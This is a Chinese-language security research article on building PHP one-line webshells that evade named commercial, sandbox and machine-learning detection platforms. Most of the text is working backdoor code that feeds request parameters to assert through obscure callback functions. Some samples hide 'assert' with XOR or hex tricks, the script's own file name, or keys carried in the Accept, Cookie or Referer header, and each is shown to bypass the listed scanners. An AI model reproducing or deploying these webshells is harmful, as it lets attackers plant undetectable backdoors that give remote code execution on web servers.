php一句话木马检测绕过研究

0x00: 前言

一般的,利用能够执行系统命令、加载代码的函数,或者组合一些普通函数,完成一些高级间谍功能的网站后门的脚本,叫做Webshell。

 本篇文章主要探讨关于PHP语言的Webshell检测工具和平台的绕过方法,实现能够绕过以下表格中7个主流(基本代表安全行业内PHP Webshell检测的一流水平)

专业工具和平台检测的PHP Webshell,构造出零提示、无警告、无法被检测到的一句话木马后门。

   

研究期间做了大量的测试,限于篇幅和文章效果,在不影响阅读体验的情况下,部分测试过程和结果略去了。

0x01:Webshell后门

目前来讲,我把用纯php代码实现的Webshell后门(以下统称为"木马"),主要分为以下几类:

  • 单/少功能木马能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的Webshell。
  • 逻辑木马利用系统逻辑漏洞或构造特殊触发条件,绕过访问控制或执行特殊功能的Webshell。
  • 一句话木马可以在目标服务器上执行php代码,并和一些客户端(如菜刀、Cknife)进行交互的Webshell。
  • 多功能木马根据PHP语法,编写较多代码,并在服务器上执行,完成大量间谍功能的Webshell(大马)。

其中,一句话木马的原理如下图:

 

客户端将PHP代码使用特殊参数名(密码),发送给放置在服务端上的一句话木马文件;
一句话木马脚本则在服务器上执行发来的PHP代码,

‘’然后将执行结果回传给客户端,客户端将结果解析并展示给操作者。

0x02:查杀现状研究

根据0x01的一句话木马原理,我们知道必须要在服务器上执行客户端发来的字符串形式的PHP代码。
脚本要将字符串(或文件流)当作PHP代码执行,目前主要会使用以下函数: 

 

不幸的是,但凡直接出现函数机,即便不是进行恶意操作,部分查杀软件也会产生警告,达不到我们的要求。本文为了好说明问题,统一将上面表中可以将字符串当作代码执行的函数临时起个名字

叫"函数机"。
比如用D盾检测如下脚本:

   

然后,就需要方法来隐藏上面的函数机。但是随着攻防对抗的升级,较传统的字符串拆分、变形、进制转换、运算变换等躲避Webshell查杀的效果已经大大降低。 

所以,经过调研和比较,本文选择了通过可以携带参数的PHP回调函数来创造后门的技术,来实现绕过检测软件的一句话木马后门。 

拿出来曾经披露过的一个回调函数后门函数"register_shutdown_function"做测试,发现虽然D盾、深信服的工具没有发觉到"register_shutdown_function"加 "assert"的变形,但是安全狗还是察觉到了。

<?php
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
register_shutdown_function($ch[1].$ch[3].$ch[4], $_REQUEST[$password]);
?><?php
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
register_shutdown_function($ch[1].$ch[3].$ch[4], $_REQUEST[$password]);
?>

 

所以,有理由推测,有一个恶意函数库,凡是网络上披露过的可用作后门的回调函数,都可能在其中,而且很大概率上会被检测出来。 

经过收集,发现网络上50多个已披露出来的可用作后门的回调函数和类中,有部分函数仍然可以用来绕过Webshell查杀软件。

0x03:查找可做后门的回调函数

去PHP官网查阅函数手册,查找可以用作后门的PHP回调函数,根据实际经验,利用下面五个关键词,能提高查找到拥有后门潜质的PHP回调函数的效率:

关键词一:callable

关键词二:mixed $options

关键词三:handler

关键词四:callback

关键词五:invoke

 

除此之外,PHP扩展中也有些合适的回调函数,不过可能通用性不强,本文不做讨论。

0x04:绕过传统检测

先拿披露过的array_udiff_assoc()函数构造一个免杀一句话。

 函数定义:

array array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )

根据定义,可以构造代码:

array_udiff_assoc(array("phpinfo();"), array(1), "assert");

继续构造适合客户端连接的一句话木马:

<?php
/**
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*
*/
$password = "LandGrey";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>

浏览器访问

http://127.0.0.1/shell/test/test.php?LandGrey=phpinfo();

 

Cknife添加目标http://127.0.0.1/shell/test/test.php密码: LandGrey,可成功连接。

   

用查杀工具检测:只有故意放置的一个eval一句话被查出来。

 

bugscaner 在线查杀,通过

 

使用河马正式版在线查杀,通过 

 

至此,我们已经绕过安全狗、D盾和深信服的客户端Webshell查杀和bugscaner、河马正式版的在线查杀。
可以发现,只需找一个网络上没有"频繁出现"或"没有出现过"

回调函数,稍加变形,即可绕过传统技术的检测。
再给一个"array_intersect_ukey"反调函数的免杀示例:


















<?php
/**
 * Noticed: (PHP 5 >= 5.4.0, PHP 7)
 *
 */
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
?>

0x05:突破OpenRASP WebShell沙盒检测

接着用OpenRASP团队的WEBDIR+在线查杀平台,被查出来是后门

   

经过反复测试和观察,OpenRASP 团队的Webshell检测使用了动态监测技术,原理上应该是将脚本放在安全沙盒中执行,分析脚本行为、尝试触发脚本的后门动作等。不管混淆的脚本多厉害,

使用了多巧妙的函数,试执行时基本都会被检测出来。
刚开始时,发现使用PHP脚本加密技术,可以有效绕过OpenRASP团队的WEBDIR+ Webshell检测服务。但加密动作太大,

会被D盾或深信服的Webshell查杀软件警告,不仅不能实现零警告和无提示,人眼一看就会发现有问题,所以放弃了加密脚本这条路。
然后就陷入了一段时间的思索,这里给出一种基于免杀的回调函数,

利用信息不对称来绕过OpenRASP WEBDIR+平台检测的技术:

利用重命名前后的脚本名不同

在检测几次后,观察发现WEBDIR+ 把上传文件都按照文件哈希值重名了

   

所示,猜测该平台是先将上传脚本重命名,然后再在沙盒中试执行检测Webshell。那么就可以利用一句话脚本文件名在重命名前后的差别,完成绕过。一段核心的绕过检测的木马代码示例如下:


















<?php
$password = "LandGrey";
${"LandGrey"} = substr(__FILE__,-5,-4) . "class";
$f = $LandGrey ^ hex2bin("12101f040107");
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

脚本名必须是"***s.php"的名字形式,即最后一位字符要为"s",然后用"sclass" 和 hex2bin("12101f040107")的值按位异或,得到"assert",从而利用回调函数,执行PHP代码。
上传到WEBDIR+系统后,脚本被重命名,"试执行时自然无法复现木马行为",从而绕过了检测。这种方式有一种明显的要求,就是我们能够准确预知或控制脚本名的最后一位字符。
如果写成通用型脚本,根据文件名的最后一位字符,自动选择做异或的字符串,得到"assert",代码示例如下:

<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} =  $key."Land!";
$trick = array(
    "0" => "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59",
    "9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09",
    "i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10",
    "r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b",
    "A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28",
    "J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33",
    "S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b",
);
$f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!";
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

就如下图所示,会被查杀:

 将脚本命名为scanner.php, 硬编码脚本最后一位字符为"r",就不会被平台检测到,
证明了我们原始的想法和对平台检测原理的部分推测:

















<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} =  $key."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?

接着猜想:当脚本在沙盒中运行时,如果得不到可以让脚本正常执行的关键信息,平台就无法查杀Webshell;而我们连接时,带上关键信息,就可以正常使用一句话木马后门,

从而绕过查杀。
例如,利用下面的一句话,请求时,Cknife携带请求头Accept: r,密码输入"LandGrey",即可成功连接一句话木马:

 


















<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>

其它信息的差异

在针对某个特别的目标测试时,可以利用目标的特殊信息构造信息的差异,实现Webshell绕过。
如目标IP地址的唯一性、域名、

特殊Cookie、Session字段和值、$_SERVER变量中可被控制的值,甚至是主机Web服务的根目录、操作系统等一些差别,发挥空间很大。

0x06:绕过深度学习技术的检测

当用0x05 "1. 利用重命名前后的脚本名不同"中的脚本来测试时,被深度学习模型技术检测Webshell给查杀了。
但是基于免杀的回调函数,

利用0x05给出的"2. 利用检测平台的信息缺失"给出的一句话,仍然可以突破 webshell.cdxy.me平台的Webshell检测: 

为了避免偶然,换个免杀函数,再测试一次。请求时设置Cookie值为Cookie: set-domain-name=ass;,以下示例脚本代码也可绕过该平台的查杀,

当然,以上提到的其它工具和平台也可以绕过。

<?php
/**
 *  Noticed: (PHP 5 >= 5.4.0, PHP 7)
 *
 */
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
?>

小插曲

在测试期间,还对河马机器学习查杀引擎 http://ml.shellpub.com 进行过测试,发现突破不了。
测试中,发现连下面的正常语句都会被杀:
<?php
array(1)
?>

所以就将Wordpress的源码上传,测试下系统的可用性。1774个文件,发现了1494个疑似后门。

系统的测试结果不能作为判断标准,所以正文中略过了对该平台的测试。 

<?php
/**
 * Noticed: (PHP 5 >= 5.3.0, PHP 7)
 *
 */
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
?>
文章的"0x04: 绕过传统检测"研究结果表明:对于基于陌生的回调函数后门构造的一句话后门脚本本身,
传统的基于特征、正则表达式和黑名单制的查杀技术,已经失去了对抗PHP Webshell检测的意义。

0x05: 突破OpenRASP WebShell沙盒检测"、"0x06: 绕过深度学习技术的检测"和"小插曲"部分的研究结果表名:
新型的沙盒技术、深度学习、机器学习查杀平台还不够成熟和稳定,虽然在检测未知的一句话木马方面表现领先于
传统检测方式,但是经过研究,还是可以构造出绕过查杀的PHP一句话木马脚本。 
文章以上研究都是对PHP一句话木马脚本本身的免杀研究。文章发布后,以上多个回调函数后门估计很快会被加入黑名单。 
要注意对于实际应用中,脚本本身免杀只是第一步,WAF和查杀软件可能会根据脚本的创建日期、文件大小、通信流量特征等多个方面,
动态、综合的判断脚本是否为恶意Webshell,本文并未涉及。

0x09: 参考文档
http://php.net/manual
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 
https://joychou.org/web/webshell.html
http://www.likesec.com/2017/12/08/webshell/ 
http://blog.safedog.cn/?p=68
http://www.freebuf.com/articles/web/155891.html 
http://www.freebuf.com/articles/web/9396.html
https://blog.csdn.net/xysoul/article/details/49791993 
https://cloud.tencent.com/developer/article/1097506
http://www.91ri.org/12824.html
http://www.3years.cc/index.php/archives/18/
http://www.cnblogs.com/LittleHann/p/3522990.html 
https://habrahabr.ru/post/215139/
https://stackoverflow.com/questions/14674834/php-convert-string-to-hex-and-hex-to-string 

文章出处:先知社区

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